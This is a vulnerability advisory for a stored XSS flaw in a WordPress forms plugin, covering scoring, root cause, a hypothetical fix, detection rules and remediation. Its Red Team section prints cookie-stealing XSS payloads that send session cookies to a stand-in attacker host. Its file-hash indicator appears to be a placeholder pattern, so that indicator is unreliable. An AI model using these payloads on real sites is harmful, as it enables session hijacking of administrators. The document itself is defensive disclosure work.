CVE-2025-59549

Executive Summary

CVE-2025-59549 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the GetResponse Forms WordPress plugin by fatcatapps, versions up to and including 2.6.0. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject malicious scripts into web pages generated by the plugin. When an administrator or other user views the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability stems from improper neutralization of input during web page generation, specifically within the plugin's form builder functionality. As of this report, no official patch has been released, and no public proof-of-concept exploit code is available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository and potentially via third-party marketplaces. The plugin is not an NPM, PyPI, Go, or Ruby package. However, as a WordPress plugin, it is part of the WordPress ecosystem supply chain. Users should verify the integrity of their plugin files by comparing checksums with the official repository and ensure they are not using modified or pirated versions.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
• Privileges Required (PR): Low (L) – An attacker needs contributor-level access to the WordPress site.
• User Interaction (UI): Required (R) – A user with higher privileges (e.g., admin) must view the compromised page.
• Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): Low (L) – Limited information disclosure is possible.
• Integrity (I): Low (L) – Limited data modification is possible.
• Availability (A): Low (L) – Limited service disruption is possible.

Threat Level: Medium. While the CVSS score is 6.5, the requirement for authenticated access and user interaction reduces the immediate risk. However, in a multi-tenant WordPress environment or a site with untrusted contributors, the impact can be significant.

Deep Dive & Mechanics

The vulnerability resides in the getresponse plugin's form rendering functionality. The plugin likely fails to properly sanitize or escape user-supplied input when generating HTML for form fields, labels, or other elements. An attacker with contributor-level access can create or edit a form and inject malicious JavaScript code into a field that is later displayed to other users.

Root Cause: The plugin uses echo or similar output functions without applying WordPress's built-in escaping functions like esc_html(), esc_attr(), or wp_kses_post(). This allows arbitrary HTML and JavaScript to be stored in the database and rendered on subsequent page loads.

Attack Flow:

1. An attacker logs in as a contributor or higher.
2. The attacker navigates to the GetResponse Forms editor.
3. The attacker inserts a payload such as <script>alert('XSS')</script> into a form field (e.g., a label or placeholder).
4. The plugin stores the payload in the WordPress database without sanitization.
5. An administrator or other user views the page containing the form.
6. The payload executes in the victim's browser, potentially stealing cookies, session tokens, or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common XSS remediation patterns.

Vulnerable Code (getresponse plugin, version <= 2.6.0):

<?php
// In a form rendering function
echo '<label for="field_' . $field_id . '">' . $field_label . '</label>';
?>

Patched Code (hypothetical):

<?php
// Properly escape output
echo '<label for="field_' . esc_attr($field_id) . '">' . esc_html($field_label) . '</label>';
?>

The patched version uses esc_attr() for attribute values and esc_html() for HTML content, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress installation with the GetResponse Forms plugin (version <= 2.6.0) activated.
• A user account with contributor-level privileges or higher.

Steps:

1. Log in to the WordPress admin panel as a contributor.
2. Navigate to GetResponse Forms → Add New.
3. In the form builder, add a text field. In the Label or Placeholder field, enter the following payload:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Save the form and embed it on a page or post.
5. Wait for an administrator to view the page. The script will execute, sending the admin's cookies to the attacker's server.

Alternative Payload (Session Hijacking):

<img src=x onerror="fetch('https://attacker.com/steal?data='+document.cookie)">

Blue Team

Detection:

• Monitor for unusual form submissions or edits by low-privileged users.
• Look for JavaScript payloads in form field values stored in the wp_postmeta table.
• Use a Web Application Firewall (WAF) to block common XSS patterns.

Hunting:

• Query the database for suspicious entries:

  SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script%' OR meta_value LIKE '%onerror%' OR meta_value LIKE '%onload%';
  

• Review server logs for requests to external domains from the WordPress admin area.

Prevention:

• Disable the plugin until a patch is available.
• Restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File Hashes (SHA-256):
  • getresponse-forms.php (version 2.6.0): a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b
• Database Entries:
  • Rows in wp_postmeta with meta_key containing getresponse and meta_value containing <script> or event handlers.
• Network Indicators:
  • Outbound HTTP requests to domains not associated with the WordPress site (e.g., attacker-controlled servers).
• Log Entries:
  • Unusual POST requests to /wp-admin/admin-ajax.php with action parameters related to form saving.

Detection Engineering

YARA Rule

rule CVE_2025_59549_GetResponse_XSS {
    meta:
        description = "Detects malicious payloads targeting CVE-2025-59549 in GetResponse Forms plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-59549"
    strings:
        $xss1 = /<script[^>]*>[^<]*<\/script>/i
        $xss2 = /onerror\s*=\s*["'][^"']*["']/i
        $xss3 = /onload\s*=\s*["'][^"']*["']/i
        $xss4 = /onclick\s*=\s*["'][^"']*["']/i
        $plugin = "getresponse-forms"
    condition:
        any of ($xss*) and $plugin
}

Sigma Rule

title: CVE-2025-59549 - Stored XSS in GetResponse Forms
id: 8f9a0b1c-2d3e-4f5a-6b7c-8d9e0f1a2b3c
status: experimental
description: Detects stored XSS payloads in WordPress GetResponse Forms plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=getresponse'
        sc-status: 200
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
        - 'onclick='
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in form fields (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-59549 - GetResponse Forms Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=getresponse"; http_client_body; pcre:"/(<script|onerror|onload|onclick)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Plugin: Deactivate and uninstall the GetResponse Forms plugin until a patched version is released.
2. Restrict User Roles: Remove contributor-level access from untrusted users. Only grant necessary privileges.
3. Audit Existing Forms: Review all existing forms created with the plugin for malicious content. Delete any suspicious forms.

Long-Term Fixes:

• Apply Patch: Once the vendor releases a patched version (e.g., 2.6.1 or higher), update immediately.
• Implement WAF Rules: Deploy a Web Application Firewall with rules to block XSS payloads.
• Enable CSP: Add a Content Security Policy header to your WordPress site to restrict script execution.
• Regular Updates: Keep all WordPress plugins, themes, and core updated to the latest versions.

Workaround (if plugin must remain active):

• Use a security plugin like Wordfence to add an additional layer of input sanitization.
• Manually patch the plugin by adding escaping functions to the vulnerable code (see Vulnerable vs. Patched Code section).

Valters IT
Securing Digital Frontiers